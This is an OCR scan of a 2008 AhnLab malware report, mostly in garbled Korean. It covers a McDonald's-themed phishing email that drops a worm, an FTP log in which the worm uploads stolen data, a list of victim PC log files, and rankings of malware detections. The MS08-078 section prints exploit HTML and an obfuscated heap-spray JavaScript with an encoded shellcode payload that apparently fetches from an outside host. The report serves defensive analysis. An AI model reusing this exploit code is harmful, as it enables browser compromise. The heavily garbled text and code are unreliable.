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- coupon.zip, promotion.zip, postcard.zip

B Mcdonalds wishes you Merry Christmas! - Message (HTML)

[ ple Edt Yew frest Fomst PGP Iods Actors  Wep

o pRech  gRsphtoMl | L Fomad 4 3 XIS SX| -2 A w8 E

From: Y GveanyBecdonalds con

Serd: ‘Wed 12/3{2008 859 AN
To:

com.a
Subject:  Mcdonakds wiches you Merry Creistmas!

Rtachments ! WPon, 1 (439 48)

M.

P'm lovin' it I'm going to McDonald's™>

McDonald's is proud to present our latest discount menu.

Smmply print the coupon from this Email and head to your local McDonald's for FREE giveaways
and AWESOME savings.

[1¥ 1-3] Win32/Ceein.worm.157184 o] Bl WA A (&FA wordpress.com)
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o
o
A7 BRE AAFEolF logddel A = [27 1-4]19F #Zo] 54 ftpAolER AF3

=

U http://www.boannews.com/media/view.asp?idx=11663&kind=1

Copyright © AhnLab Inc,. 1988-2008. All Rights Reserved.
Disclosure to or reproduction for others without the specific written authorization of AhnLab is prohibited.


http://www.boannews.com/media/view.asp?idx=11663&kind=1

A AhnLab

~Stream Content-

220 welcome to, T-Onh‘ne FTP Service

USER admin@Eeyr s hésl DL VT com

331 Password re ired for admi n@uger g by bty com.
PASS dsffy,.&-»7 23801}

230 User admm@i-.-I,.-H-hl.-.l'u.com Togged 1in.

CwD /

250 cwb command successful
TYPE I

200 Type set to I

PASV

227 Entering Passive Mode (80,150,6,138,144,224).

STOR SI-SrsdiEi®. log

150 Opening BINARY mode data connection for ar-mssamsLv.log
226 Transfer complete.

(28 1-4] <] PColM =53 logE ftpe ol &3t A= AF

AA dF 2oldglolE EAEte] AMEEE ftp AAY AAYEE FE3H el A
[ 1-5]¢F o] ¥ PCoM A& Ae &I + A

[Z] 214%P.log 8KB
[Z] 28WIMHZ -JWG, log 4KB
(] A®ES-PC.log 3KB
[£) AL ER-2B24433221,l0g KB
[Z] &-CHMAXW-MACL.log 1KB
[Z] 81 ENVESSEL.log 1KB
[Z] AMBRE-50FCSECED, log 2KB
) AR log 39KE
) BF.log KB
[Z] BEfJAMIN-007.log 1KB
[¥] BRIKEN-12FIDFE1.log 3KB
[Z] BIGT. log EKB
[Z] CANE-SERVER.log 1KB
[Z] CH®ISTOP-910D66.log 1KB
[Z] CO®PUTER. log 1KB
[Z] CFATE.log 3KB
[Z] DI_DESKTOP, log 8KB
[Z] DWNIELLETKACZIK, log 2KB
[Z] D¥AID-PC.log 2KB
[Z] DEw-8710W, log 1KB
[Z] DEATHSTAR. log KB
[£) DELL8300.log 3KB
[Z] DEFFIE-FD48DEGF, log 1KB
[Z] DAESNSIONS300.log 2KB
[£) EE-3EJMJITC4VIR. log 1KB
[Z] EXTRA.log 2KB
[Z] G1kag 20KB
[£) GLrT250080,log 3KB
[Z] H&RY-PC.log 3KB
[Z] HE®ARECHNER. log 2KB
[Z] HLEBY.log KB
[Z] HECUS2.log 12KB
[Z] HTL.GER-NEQOGJHJ.log EKB
() HOME-PC. log 5KB
[Z] HO%-LOANERT. log 2KB
] H. fog IKEB
[Z] HFTJE log 2KB
Ej |E£5520,10g 5KB

[ 1-5] ftpABlel AFd #4 PCe AR A&
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27 Softuware : MSN HMessenger
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(3) AlFEIE|l — MS08-078 IE XML M ZE|o] F &

MS08-078 IE XML & k4

A 129 109 o= RerA AU AFE vl ARATEAR A7) 9% A
sE2Y HoPH Anst BRI EagHth oA 9RE ed A aEEY
Ao Aol mE rZzdd ARt ofF A4W Ao, ven 2o Fee

<¥ML ID=I><X><C>

<! [CDATA[

<image SRC=http://s$2570;&$2570; .AnRDR . 1an
SRC=http://BBBBE.lan >

11>

</Cr< /X2 /XML>

<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>

<HML ID=I> «/XML>

<5PAN DATASRC=4I DATAFLD=C DATAFCRMATAS=HTML></SERN>

< /SPAN:>

ol#dk mMAgHA XML Bl SIEY ejixseert wuds JAdH o nveA F
gomd gy sEHolof & g dial dofe] wRy FawMAE T e F dn
A, et &2 mEgh 2ghE q) dolAd Hsls Ao RE AASAES diE A&
T 71wl obF AZbE Hefxleolzt & 4 v ol d AP} wE AR oA
A= A A g 8 IR ARG AAR Fopdel wEd ¥, dF FhHS
o]tz fIETE HAeHfden, el A 2E Apo|Egel R s HepHE o83t
T o mESol Ald AL SR1EAY. B tiE SQL Injection $#A SR F3 4]
¥ ootel#]l URLAIME dld A& o] &dhs Ada=s sl gl Ao s
= St

<centér>htt5 + / feviiabtetebelt 11 COPLE P
I oo

location. replace("\xsl\x62\x6F\x75\x74\x3&\x62\x6C\x61\x6E\x6Ei") H

=/script==script=function Sleep(mllhsecunds) {var Start = new, Date() .getTime(]; fur (var 1 = 09; 1 = le7; i++) 1 1T ((ne
Lol £Sd L e 1l At L £ sk briwwoj sgweyvwgabdlie = OxBad
aBada; var bwkbnwvo]sqwevagabdheyquygrngunescape, var asdfk3129312asdfa5d = bwkbnwvo]sqwevagabdheyquygrgz(sc), va
r heapBlockSize = 0x100000; var paylLoadSize = asdfkjl28312asdfasd.length * 2; var szlong = heapBlockSize - (paylLoadSize+o
e T TEderETe Oy e T T Lo samtevalue retval, szlong) ; aaablk
= i(bwkbrwvo]sgweyvwgabdlie - 0xl00000) fheapBleckSize; zzchuck = new Array(]; foer (1=0;1<asablk;i++) 1| zzchue

kl1] = r'et\fal + asdfk31293lzasdfasd' il functwn getSamplevalueiretval, szlong) { whilelretval.length*2<szlong] 1
1="%0" ;spray (" uS6eShu0000%suSS
00%u5655%u8b57%u246c%u8b18%u3c45%u549b%u7805%ueaOl%udaSb%uEblEﬁsuQOSS%UebOl%uSQe%qudB%uEIbS:l%ueeOl%uff31%u31fc%uacc0%ueo
39%u077495ucfcl%uolod%uebc??squ'F2%u247c9su7514%u9be1%u245a%ueb0195u8b66‘?su4b0<:9au5a9b9su011c%uBbeb%quOél%u9801%u02eb9su<:03195u59
b | SO0 G%L 530 TR USe 68k L0 de%uf T
ec%uebd@ausas%uff525u89d0%u52c235u5352%uaaGE"suOdfc%u‘Ff7c%u5ad6‘%u4deb%u515%uf‘F52%uebdO"auSa7%u5beb%uGaS%uGaOO‘%uSlOO%uGa
Sz%uffOO%uSEdO%uaOGB%uchS%uff4d%usad6?ﬁuff52%u53d0%u9568%u5afe%uffOe%uebde‘?ausgﬂd%uoosa%uffSl%uSEd%u?eGFﬁaueszﬁsuff?S’%uGa
= e — ST UG GetuE 16T US4 IG5 LG
5041 65%0e 8005 T atfuf T fuRe2e%uTE5c%ueBOMsUT FhT%suf f5uleRekuTEhckueBnrkuf £ B8S%uT f T %u74650u 707 4%0 2FEA%UT T 2F%U T 77 7%URD
2E%u6465%u6369%u6861%u726F‘35u6165%u632E‘35u2E6F%u?268%u512F%u'5451%u2E3%u2E31%u4152%u0052"), Sleep(SOOO) nav=navigator.user’
e s e o RS SIS T r———— o v1gator . appVersion.split (' M5

IE' ) [17) }ifiversion=-7)

w2k 3= (nav.1ndex0f ('windows nt 5.2')1=-1)|| (nav.1ndex0f ('windows 2003')1=-11];

1f(wxp| |w2k3)ducument writel! <XML ID I><X><C><' [CDATA[-:lmage SRC= http /,f&#llzl EH2570; 64#114; .book.com sroshttp: / fw ek
- == FHML=<SPAN DATASRC=H#I DATAFLD

=C D:_xTaFORMﬂTA_S HTHL e/ SPAN ] 5
var 1=1;whilel1==10]
{

window.status=" ";i++}
[71" 1-7]1 MS08-078 F & o] &3 A A==
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(4) UEST BUEZ #Y - MS08-067 FotE 22 =ajy

1299 @MAFTATLAA ST WMEHNT BRYUEHY A|x®He 2aF5 #4519 54
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2 2
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i
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- 8
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An AhnLab
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1 Win-Trojan/Xema.variant 1448 1 Dropper/OnlineGameHack.20100 310
2 Win32/Virut 351 2 Win-Trojan/Downloader.16384.FS 267
3 Win32/IRCBot.worm.variant 341 3 Win-Trojan/Agent.60416.Z 221
4 Dropper/QQPass.23599.B 298 4 Win-Trojan/Noupdate.36864 199
5 Dropper/QQPass.23599.D 293 5 Dropper/OnLineGameHack.17143 183
6 Dropper/OnlineGameHack.23087 272 6 Dropper/OnLineGameHack.17412 179
7 | Win-Trojan/KorGameHack.17920.BR 272 7 | Dropper/OnLineGameHack.17799 178
8 | Win—Trojan/KorGameHack.26624.Al 267 8 | Win-Trojan/KorGameHack.16121.D 169
9 | Win-Trojan/KorGameHack.14848.FO 195 9 | Win-Trojan/OnlineGameHack.19208 159
10 | Win-Trojan/KorGameHack.6430 149 10 | Win32/IRCBot.worm.variant 153
11 | Win-Trojan/Downloader.38400.1 141 11 | Win—Trojan/OnlineGameHack.18768.B 150
12 | Dropper/OnlineGameHack.15988 130 12 | Dropper/OnlineGameHack.17632 148
13 | Win-Trojan/OnlineGameHack.15360.1 120 13 | Win-Trojan/OnlineGameHack.19938 132
14 | Win-Trojan/Downloader.169984.D 116 14 | Dropper/OnLineGameHack.16767 129
15 | Win-Trojan/KorGameHack.19456.BM 113 15 | Win-Trojan/KorGameHack.16972 113
16 | Win-Trojan/KorGameHack.7295 102 16 | Win-Trojan/OnlineGameHack.34304.P 104
17 | Win-Trojan/KorGameHack.43072 96 17 | Win-Trojan/Downloader.27136.BH 103
18 | Dropper/OnlineGameHack.29743 95 18 | Dropper/OnLineGameHack.16531 103
19 | Win-Trojan/KorGameHack.12800.EI 88 19 | Win-Trojan/KorGameHack.19589 97
20 | Win-Trojan/KorGameHack.15064 88 20 | Win-Trojan/Hidd.43008 94
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